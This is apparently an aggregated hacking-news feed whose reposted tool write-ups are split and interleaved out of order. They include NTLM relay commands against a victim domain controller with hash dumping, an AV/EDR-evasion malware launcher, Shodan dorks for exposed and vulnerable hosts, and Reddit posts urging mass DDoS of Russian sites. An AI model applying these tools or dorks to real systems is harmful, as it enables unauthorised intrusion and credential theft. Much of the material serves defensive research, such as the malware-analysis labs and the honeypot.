e red team to investigate and study to find a solution to remediate the problems. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS9.png Nowadays hackers have a lot of resources to learn about offensive security and how things work around network and security. Everything runs using technology and network connections, it is crucial to know what Offensive Security is and to be able to use it effectively. Systems, important files, data, and other important virtual things are at risk if there is no security protecting them, but from specific attacks.

Not only it is crucial to know what Offensive Security is but also to understand why it is important. The game has been taken to another level by hackers, so organizations and their employees should know what is at risk if it’s not dealt with.

The cost of Cyber threats is at an all-time high and the breaches of security systems can be undiscovered for months. Knowledge from that perspective is so big and fast-growing, and you need to be ready before the attack takes place.
Note: Watch this writeup in action and live demo by joining our Patreon Channel Below https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Articles_Gallery-90x90.png How ILOVEYOU worm became the first global computer virus pandemic4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Stuxnet-90x90.png Stuxnet – A weapon made out of code that almost started WW32 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Article-90x90.png Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/operation-troy-90x90.png Hacking stories – Operation Troy – How researchers linked the cyberattacks4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Operation-Aurora-90x90.png Hacking stories – Operation Aurora: When China hacked Google5 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/The-first-botnet-hijacker-90x90.png Hacking stories – The first botnet hijacker aka the Zombie King6 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/featured_image_jonathan_james_hacker-90x90.png Hacking Stories: Jonathan James – The teenager who hacked NASA for fun7 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-4-90x90.png Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/photo-1468436139062-f60a71c5c892-scaled-90x90.jpg “Worst” MacOS Security Bug Recently Patched by Apple8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/wallpaperflare.com_wallpaper-90x90.jpg Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat9 months ago
The post Write up: Detect malicious hacker activities on endpoints first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Putting the X Factor in XDR

While extended detection and response (XDR) is effectively considered an upgrade from endpoint detection and response, enterprises must still begin with a strong EDR foundation.

hacking: security in practice
We should create something like Folding@Home called Hacking@Home so we can collectively DDOS/hack the shit out of everything in Russia

I am a complete noob at this but it would be very cool if millions of people could DDSO/hack the shit out of a lot of Russia's websites/infrastructure

submitted by /u/Mirrormaster85
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
7 months ago, I asked you to do something about Russia. Now they've invaded Ukraine, and you're just now waking up???

https://www.reddit.com/r/hacking/comments/ofrmzq/hacking_russia/?utm_medium=android_app&utm_source=share

submitted by /u/yourname241
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
PMAT-labs : Labs For Practical Malware Analysis And Triage

PMAT-labs, this repository contains live malware samples for use in the Practical Malware Analysis & Triage course (PMAT). These samples are either written to emulate common malware characteristics or are live, real world, “caught in the wild” samples. Both categories are dangerous. These samples are to be handled with extreme caution at all times.

* Do not download these samples to a computer you do not own.
* Do not execute any of these samples on a computer you do not own.
* Do not download and/or execute these samples in an environment that you cannot revert to a saved state, i.e. a virtual machine.
* Practice safe malware handling procedures at all times when using these samples.

By downloading the contents of this repository, regardless of if you have purchased the course or not, you are agreeing to the End User License Agreement. Please refer to EULA.mdfor more information.

About the Course

If you’re here after purchasing the course, welcome! Thank you for supporting me as a content creator. Read on to the next section to learn how the lab repo works.

If you’re here not having purchased the course, welcome! The labs for the course are free (and always will be) and are hosted here on GitHub for anyone who is interested. But if you’re don’t quite know where to begin and/or are interested in learning malware analysis from 9+ hours of high-quality video content, consider buying the course! The videos were made with love to build you into a capable, knowledgeable malware analyst.

If you want to purchase the course and support me as a content creator, please also consider using my affiliate link!

Structure

The structure of this repository maps to the course videos. The top directory contains the name of the section, and the subdirectories are the samples in use during that part of the course. For example

labs
┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png 0-1.HandlingAndSafety
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png Malware.Calc.exe.7z
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png md5sum.txt
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png password.txt
┃ ┗ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png sha256sum.txt
┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png 1-1.BasicStaticAnalysis
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png Malware.PackedAndNotPacked.exe.malz
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png Malware.PackedAndNotPacked.exe.zip
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png md5sum.txt
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png password.txt
┃ ┃ ┗ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png sha256sum.txt
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png Malware.Unknown.exe.malz
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png Malware.Unknown.exe.7z
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png README.txt
┃ ┃ ┗ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png password.txt
…[snip]…

n the example above, the 0-1.HandlingAndSafetydirectory contains a zipped copy of Malware.Calc.exe.7zand the other files that sample is provided with. It is used in the Handling and Safetysection in the course.

Underneath the Handling and Safety sample, the 1-1.BasicStaticAnalysisdirectory contains two samples that are used in that section. The whole course follows this structure, so check to see which section you’re currently in and then the videos will reference the sample to work on. Topics

Each section is broken down by topic:

Malware Handling and Safety

This section covers basic malware handing and safety, including defanging malware and sa[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
ShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan

ShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.

With ShonyDanza, you can:

* Obtain IPs based on search criteria
* Automatically exclude honeypots from the results based on your pre-configured thresholds
* Pre-configure all IP searches to filter on your specified net range(s)
* Pre-configure search limits
* Use build-a-search to craft searches with easy building blocks
* Use stock searches and pre-configure your own stock searches
* Check if IPs are known malware C2s
* Get host and domain profiles
* Scan on-demand
* Find exploits
* Get total counts for searches and exploits
* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza

Installation

git clone https://github.com/fierceoj/ShonyDanza.git

Requirements

* python3
* shodan library

cd ShonyDanza
pip3 install -r requirements.txt

Usage

Edit config.py to include your desired configurations
cd configs
sudo nano config.py

config file for shonydanza searches
REQUIRED
maximum number of results that will be returned per search
default is 100
SEARCH_LIMIT = 100
REQUIRED
IPs exceeding the honeyscore limit will not show up in IP results
scale is 0.0 to 1.0
adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results
HONEYSCORE_LIMIT = 1.0
REQUIRED – at least one key: value pair
add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu
see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries
check into “vuln:” filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)
STOCK_SEARCHES = {
‘ANONYMOUS_FTP’:’ftp anonymous ok’,
‘RDP’:’port:3389 has_screenshot:true’,
‘OPEN_TELNET’:’port:23 console gateway -password’,
‘APACHE_DIR_LIST’:’http.title:”Index of /”‘,
‘SPRING_BOOT’:’http.favicon.hash:116323821′,
‘HP_PRINTERS’:'”Serial Number:” “Built:” “Server: HP HTTP”‘,
‘DOCKER_API’:'”Docker Containers:” port:2375′,
‘ANDROID_ROOT_BRIDGE’:'”Android Debug Bridge” “Device” port:5555′,
‘MONGO_EXPRESS_GUI’:'”Set-Cookie: mongo-express=” “200 OK”‘,
‘CVE-2019-11510_PULSE_VPN’:’http.html:/dana-na/’,
‘CVE-2019-19781_CITRIX_NETSCALER’:’http.waf:”Citrix NetScaler”‘,
‘CVE-2020-5902_F5_BIGIP’:’http.favicon.hash:-335242539 “3992”‘,
‘CVE-2020-3452_CISCO_ASA_FTD’:’200 “Set-Cookie: webvpn;”‘
}
OPTIONAL
IP or cidr range constraint for searches that return list of IP addresses
use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)
NET_RANGE = ‘0.0.0.0/0’

Run
cd ../
python3 shonydanza.py
Download

___________________________
@hacking_Attack
@Hacking_Video

fe practices for transfer and storage.

Basic Static | Basic Dynamic

This section covers initial triage, static analysis, initial detonation, and the primary methodology of basic analysis.

Advanced Static | Advanced Dynamic

This section covers advanced malware analysis methodology and introduces Assembly, debugging, decompiling, and inspecting the Windows API at the ASM level.

Specialty Class Malware

This section covers different specialty classes of malware like maldocs, C# assemblies, and script-based malware. It also includes a section on mobile platform malware analysis.

Bossfights!

The Bossfights pit you against infamous real world samples of malware and require you to do a full analysis.

Automation | Rule Writing | Report Writing

This section covers effective report writing, Yara rule writing, and automating the initial stages of triage with Blue-Jupyter.

Course Conclusion: Course Final | References | Resources | Further Readings

The course final consists of a capstone in which you will combine all relevant skills in this course to write and publish open-source information about a given sample from the course.

The course conclusion includes further readings, references, and helpful resources for further learning. Please note:some samples are used multiple times in different sections. Check to make sure which sample the course videos are referencing and that you have the correct one for a given video.

Challenges

The challenge samples in this course are used as mini-capstones for the different sections. Each sample marked as a Challenge includes a set of questions to answer about the sample as well as an answers/directory. The README in the answers/directory contains brief answers to each question in the Challenge. Try to get as far as you can without looking at the answers first! Password

Each sample is zipped and password protected. The password for all malware samples is infected. Report Template

In one of the final sections of the course, I teach how to write a simple Malware Analysis report. The template used in that section is here. Feel free to use this as a template for this course or any other malware reports you want to create.
https://blogger.googleusercontent.com/img/a/AVvXsEjPTsWNvOHol3dxYmbR-B6i2QruyAIBS6QrXqhkGhVUqcLnj9qkM_K5Poi6-FhtlUvUK0nSEAQuB0PiY49KAXArd5eG1MZJhErBIX5ACezqLrB2RGOVLCszmrjS86GsuvslWX50C_vrI-2_DV-g0M45WVv8WHcN8P8a4JbUFgivo6usLJkRsiZmC1Ed=s693
Cosmo?

You may be wondering, why is there a picture of a handsome cat in the root directory?

cosmo.jpeg

That’s Cosmo, my cat. He’s not very good at malware analysis, so he’s along for the ride to learn things. I don’t have high hopes for him (he is just a cat after all). cosmo.jpegserves two functions. A Surrogate Data File

The malware samples in this course are built to perform different functions. Some are designed to destroy data. Some are designed to steal it. Some don’t touch your data at all. cosmo.jpegis a placeholder for the precious, precious data that an average end user may have on their host. Some malware samples in this course will steal him, encrypt him, encode and exfiltrate him, the whole nine yards. So to accurately represent what data theft or destruction might look like, the custom written malware samples in this course are going to target this file specifically.

It’s a bit of a hefty file (about 1.6MB), unlike Cosmo himself who is not a hefty cat at all. So it should serve well as a data file placeholder. Environmental Keying

I wrote the samples for this course from the ground up to be as safe as possible. I am aware that putting malware samples out into the world, regardless of your intention for doing so, imparts risk. So to help mitigate the possibility that these samples could be used maliciously, I’ve keyed them to this particular file. This is a red team tactic that [...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Skrull : A Malware DRM, That Prevents Automatic Sample Submission By AV/EDR

Skrull is a malware DRM, that prevents Automatic Sample Submission by AV/EDR and Signature Scanning from Kernel. It generates launchers that can run malware on the victim using the Process Ghosting technique. Also, launchers are totally anti-copy and naturally broken when got submitted.

Video Demo
https://blogger.googleusercontent.com/img/a/AVvXsEiWEUMuooF0RhFZBGKytWPRmTeF3VEGU0RGi_g-Vwz1btrhdNqBIgpcEbcZvFPMFiz-AnGaVrO6N8jJTcrgx7w_7QOZYsiP9UKq8yQknBI8ETEvUf_-5EqBHwpzlRxNgSOXm3l1gTVcuT5uGYSxoRBJGUnRuH-_jkXhLt7xDoL7GOKb7W2j1OxlxzCz=s480

Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
RiotPot : Resilient IoT And Operational Technology Honeypot

RiotPot is an interoperable medium interaction honeypot, primarily focused on the emulation IoT and OT protocols, although, it is also capable of emulating other services.

This services are loaded in the honeypot in the form of plugins, making RIoTPot a modular, and very transportable honeypot. The services are loaded at runtime, meaning that the weight of the honeypot will vary on premisses, and the services loaded e.g. HTTP, will only be used when required. As consequence, we highly recommend building your own binary customized to your own needs. Refer to the following section, Installation, for more information.

Architecture

RIoTPot has a modular architecture that facilitates extensability of the honeypot. The honeypot further offers a hybrid-interaction capability where users can choosed the desired interaction levels for the protocols simulated. The image below shows the high/level architecture of RIoTPot.
https://blogger.googleusercontent.com/img/a/AVvXsEizPD1dpYp-mSm6PiW15mO27LgrLQZtErmMClOPoDEhPML8ool-59U8alLCggZg9HzDhqVrqVRvwzT9XkxwWDICGJnWTizF6GE_-5lCIYEz6h4QlagRFys5RSKKW2PWUI2K9bnx0GCIfhZgzM5QoADme55tzXnd2FPaKjOGPORpnv_yV-IJha1mF2NM=s627
The architecture contains 6 components.

RIoTPot core The core of the honeypot consists of the required modules for configuration, administration and orchestration of the container network.

Configuration & Orchestration The configuration module provides RIoTPot with all the required parameters at startup. This includes the user preferences for specific protocols and profile simulation and the desired interaction level. The orchestration module is responsible for the network management from the core to the high-interaction protocol services simulated on containers. The received attack traffic is forwarded to the respective container that hosts the protocol on which the attack was targeted. Furthermore, the orchestra tor also facilitates the communication to the containers if they are hosted on a cloud-based environment.

Attack Capture and Noise Filter The attack capture and noise filter module filters out the suspicious traffic received from Internet-wide scanners like Shodan and Censys. This helps the administrator to concentrate on attacks that are not from benign sources.

Hybrid-Interaction (Low and High-Interaction modes) RIoTPot is implemented in Go language \cite{go} and facilitates the modular architecture and development through packages. The packages act as plug-ins that can be added to the honeypot to extend the protocols simulated. RIoTPot offers a hybrid-interaction model with a preference of low- or high-interaction. The low-interaction is achieved through independent packages, with each package simulating a specific protocol. The high-interaction model is realized with a containers with the protocols simulated as services installed. The containers act as high-interaction modules that offer a full implementation of the protocol. Additional protocol services can be added by integration of containers with desired protocol services. The hybrid-interaction model further allows the user to emulate selective protocols on low or high-interaction levels. For example, the user can choose to have SSH in low-interaction mode and MQTT in high-interaction mode thereby operating in a hybrid-interaction mode.

Attack Database The attack database stores all the attack traffic received on the honeypot. The database is setup as an independent module to ensure data availability even if the honeypot crashes on potential large scale attacks. The database is accessible from the low-interaction and high-interaction modules for attack storage.

Noise Filter

The Noise filter module of RIoTPot filters the attacks from internet scanning engines to reduce alert fatigue. With this feature, attacks are labelled as ben[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Lsarelayx : NTLM Relaying For Windows Made Easy

Lsarelayx is system wide NTLM relay tool designed to relay incoming NTLM based authentication to the host it is running on. lsarelayx will relay any incoming authentication request which includes SMB. Since lsarelayx hooks into existing application authentication flows, the tool will also attempt to service the original authentication request after the relay is complete. This will prevent the target application/protocol from displaying errors and function as normal for end users authenticating against the lsarelayx host. Features

* Relays NTLM connections system wide, including SMB, HTTP/HTTPS, LDAP/LDAPS or any other third party application implementing the Windows authentication APIs.
* Where possible, downgrades incoming Kerberos authentication requests to NTLM. This will cause clients that would traditionally attempt Kerberos authentication to fallback to NTLM.
* Performs an LDAP query for the relayed user to fetch group membership info an create the correct authentication token for the original request.
* Dumps NetNTLM messages for offline cracking.
* Supports a passive mode that does not relay and only dumps captured NetNTLM hashes (no Kerberos downgrade in this mode). How it works

lsarelayx comes in three parts. A fake LSA authentication provider implemented within liblsarelay.dll, a user mode console application as the control interface and a new ntlmrelayx server module called RAW. liblsarelayx.dll

liblsarelayx.dll is the LSA authentication provider that gets loaded by lsarelayx. It’s predominant purpose is to hook the NTLM and Negotiate packages to facilitating redirecting authentication requests to lsarelayx over a local named pipe for relaying and dumping NetNTLM hashes. liblsarelayx is designed to be as simple as possible where all the heavy lifting is performed by lsarelayx lsarelayx.exe

lsarelayx.exe is the main console application used to load the custom LSA authentication provider (liblsarelayx.dll), listen for incoming NTLM and Negotiate tokens from the authentication provider and relay to ntlmrelayx’s RAW server module. The tool also performs the LDAP queries used for capturing group information for relayed users and passing back to the LSA authentication provider. RAW ntlmrelayx module

impacket’s ntlmrelayx has implemented a significant amount of work creating relay attacks and will continue to improve and add further attack in the future. To take advantage of this in favour of reimplementing attacks directly within lsarelayx, a new ntlmrelayx server module was created called RAW. Currently there is a PR open on GitHub that implements the RAW server module. The RAW server module is protocol agnostic and is designed to accept the raw NTLM messages directly from 3rd party software like lsarelayx.

Until the PR is merged into the mainline impacket repo, you can use this version Usage Active Mode

First start the ntmlrelayx RAW server module to listen for RAW NTLM messages passed from lsarelayx.

python examples\ntlmrelayx.py -smb2support –no-wcf-server –no-smb-server –no-http-server “-t” smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 – Copyright 2021 SecureAuth Corporation
[] Protocol Client DCSYNC loaded.. [] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded.. [] Protocol Client IMAP loaded..
[] Protocol Client IMAPS loaded.. [] Protocol Client LDAP loaded..
[] Protocol Client LDAPS loaded.. [] Protocol Client MSSQL loaded..
[] Protocol Client RPC loaded.. [] Protocol Client SMB loaded..
[] Protocol Client SMTP loaded.. [] Running in relay mode to single host
[] Setting up RAW Server on port 6666 [] Servers started, waiting for connections

lsarelayx itself requires local administrator permissions to run. To run in active relay mode, the host address where ntlmrelayx is running the raw server module [...]

___________________________
@hacking_Attack
@Hacking_Video

ensures a payload will only trigger if there are certain identifiers present in the environment. cosmo.jpegpresent on the Desktop of FLARE-VM acts as the key for most of the malware samples in this course. Instructions

When you are done downloading and extracting this lab repository, take cosmo.jpegand copy it to the desktop of the main user account on the Windows FLARE-VM host. That’s all! Download

___________________________
@hacking_Attack
@Hacking_Video

ign when they originate from sources like Shodan. The list of scanning services filtered by RIoTPot is below:

* Shodan (https://www.shodan.io/)
* Censys (https://censys.io/)
* Project Sonar (https://www.rapid7.com/research/project-sonar/)
* LeakIX (https://leakix.net/)
* ShadowServer (https://www.shadowserver.org/)
* RWTH Aachen (http://researchscan.comsys.rwth-aachen.de/)
* Quadmetrics (https://www.quadmetrics.com/)
* BinaryEdge (https://www.binaryedge.io/})
* ipip.net (https://en.ipip.net/)
* Arbor Observatory (https://www.arbor-observatory.com/)
* CriminalIP (https://security.criminalip.com/)
* BitSight (https://www.bitsight.com/)
* InterneTT (http://www.internettl.org/)
* ONYPHE (https://www.onyphe.io/)
* Natlas (https://github.com/natlas/natlas)
* Net Systems Research (https://www.netsystemsresearch.com/)
* Sharashka (https://sharashka.io/data-feeds)
* Alpha Strike Labs (https://www.alphastrike.io)
* Stretchoid (http://stretchoid.com/)

Note: the list will be updated on support for additional scanning sources.

Summary: To summarize, the design of RIoTPot facilitates modularity through packages and containers as plugins. Furthermore, the modular architecture helps in achieving a hybrid-interaction model.

Installation

Although one can download the binaries and configuration files containing the set of default running emulators, this guide is mainly focused to those looking for a customized experience.

We thrive on the idea of making RIoTPot highly transportable, therefore, in this section one can find multiple methods of installation for diverse environments that fit a broad list of requirements and constrains.

We highly recommend running RiotPot in a virtualized self-contained network using Docker, for which we included configuration files that run the honeypot as a closed environment for testing and playing around (similar to a testbed environment).

NOTE: The production image can be pulled from Docker Hub. If you choose this method you may directly jump to 2.1 Docker.

RIoTPot is written in Golang, therefore, you will need to have go installed first if you plan to make any changes, otherwise you can skip steps 1 and 2 if you rather not installing go.

Regardless, you will need to copy RIoTPot to local:

* Make the folder in where the repository will be stored.
mkdir -p $GOPATH/src/github.com
* Navigate to the folder in where you store your repositories
mkdir -p $GOPATH/src/github.com
* Clone the repository
git clone git@github.com:aau-network-security/riotpot.git
* Navigate to the newly created folder with the repository
cd riotpot

Docker

We assume you have basic knowledge about the Docker ecosystem, otherwise please refer first to the Docker documentation here.

At the deployments folder of RToTPot there is one docker-compose files:

$ cd ~/riotpot/deployments | ls -al
…
-rw-r–r– docker-compose.yml
…

This file correspond to the respective software development environment development.

Development. docker-compose.ymlbuilds the project in a private virtual network in which there are three hosts: riotpot, postgres,and tcpdump. Postgres contains a postgres database, tcpdump contains a packet capturer, and riotpot the app itself. They can only communicate with the each other. Use this setup for development and testing locally by typing in your a terminal:

$ docker-compose -f docker-compose.yml up -d –build

Once you are done with the honeypot, you can put down the containers using the down command.

$ docker-compose down -v

NOTE: Using the -v tag will remove all the mounted volumes, i.e. the database used by riotpot to store information and the volumes mounted to store logs and binaries collected by the honeypot. Remember to make copies before using the -v tag, or skip it altogether.

Docker Hub Image

Build the latest release of RiotPot directly from the image provided in the Docker Hub:

Grab and run t[...]

___________________________
@hacking_Attack
@Hacking_Video

needs to be specified. The default port is 6666. This can be overridden with the --portargument, but be sure to have also overridden the port on the ntlmrelayx side too using the --raw-portargument.

lsarelayx.exe –host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Passive Mode

You can also run lsarelayx in passive mode by running without any arguments

lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

Caveats

Once the liblsarelayx DLL has been loaded into lsass, currently you cannot unload it due to limitations of how LSA plugins work. The client can be closed which will put the DLL into a dormant state until the client starts again but the DLL will be in use until a reboot occurs.

Since the LSA plugin is not actually a genuine plugin, there are plans to implement a reflective loader inside the plugin which can then be stopped and started at will but that’s an exercise for another day.

Development was performed on Windows 10 and Server 2016. A quick test was performed on Windows Server 2012 R2 which worked, but the calculation of offsets for hooking can fail on 2012 (this can be provided manually using the lookuppackage-hint=, get it wrong and Windows will reboot). No testing has been performed on anything below Windows 10 on the desktop side and nothing tested on Server 2019 at all.

Building Docker

If you have docker installed, this is the quickest option. It utilizes the ccob/windows_crossimage with all the build dependencies pre-installed. Docker on Windows (Powershell)

docker run –rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c “cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; –build . –target install/strip”

Docker on Linux

docker run –rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c “cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake –build . –target install/strip”

Linux

On Linux we utilise a CMake toolchain along with the MinGW compiler. These need to be installed before hand. For the managed component, please make sure the dotnet command line tool is also installed from .NET core

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake –build . –target install/strip

Windows (Powershell)

Windows will require a full CMake, MinGW and Visual Studio setup before even attempting to build, it’s the most painful way to build if you don’t have a development environment installed

mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G “MinGW Makefiles” ..
cmake –build . –target install/strip Download

___________________________
@hacking_Attack
@Hacking_Video

he latest release of the riotpot consumer image
detached from the console with -d.
docker run -d riotpot-docker:latest

Local

To build your own binary from source, navigate to the folder where you have stored the repository and use the go CLI to generate it and store it in the ./bin/ folder:

build the binary in the ./bin folder
go build -o riotpot cmd/riotpot/main.go

Additionally, you could also install the application in the system:

# installs riotpot at $GOPATH/bin
$ go install

Run the binary as any other application:

$ ./riotpot

Documentation

The documentation for RiotPot can be found in go.pkg.dev, however, sometimes you might be in need to visualize the documentation locally, either because you are developing a part of it, of for any other reason.

The most common way of pre-visualizing documentation is by using godoc, however, this requires an initial setup of the go project. Find more information in the godoc page.

For simplicity, the riotpot godocdocumentation can be run as a separated local container from the dockerfile Dockerfile.documentation. To use the container simply type:

$ make riotpot-doc

This will run a container tagged with riotpot/v1at http://localhost:6060/. The documentation of the package can be accessed directly from http://localhost:6060/pkg/riotpot/.

Easy Access

We previously described how to set up the whole project, both installation and documentation, but some of the processes become routinely and lengthy when on the process of developing new features and testing. For this, in the root folder of the repository we have included a Makefilecontaining the most utilized routines with aliases.

The following commands will be run using makeplus the alias of the command. The Makefilecontains more commands, but this are the most widely useful:
CommandContainer NameDescriptionriotpot-upriotpot:developmentPuts up RIoTPot in development mode.riotpot-downriotpot:developmentPuts down RIoTPot.riotpot-docriotpot/v1Puts up a container with the local documentation.riotpot-allriotpot/v1, riotpotPuts the documentation and RIoTPot development mode up.riotpot-builderBuilds the binary and the plugins.
Example usage

run a command given its alias from Makefile
$ make riotpot-doc Download

___________________________
@hacking_Attack
@Hacking_Video

Online Pentesting Courses????
https://www.reddit.com/r/Pentesting/comments/t15uv4/online_pentesting_courses/

Can anyone recommend online Pnetesting courses like Udemy based? Which courses/instructors are worth the ride? Thanx in advance.. submitted by /u/Hamza_AM (https://www.reddit.com/user/Hamza_AM)
[link] (https://www.reddit.com/r/Pentesting/comments/t15uv4/online_pentesting_courses/) [comments] (https://www.reddit.com/r/Pentesting/comments/t15uv4/online_pentesting_courses/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
5 (MUST READ) Cybersecurity books for 2022!

https://cdn-images-1.medium.com/max/600/1*d7AG0TWuXGPbM7rXRDc5-g.png
What are some cybersecurity books that you should read for 2022? To answer this question, I will be discussing with you 5 (MUST READ)…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video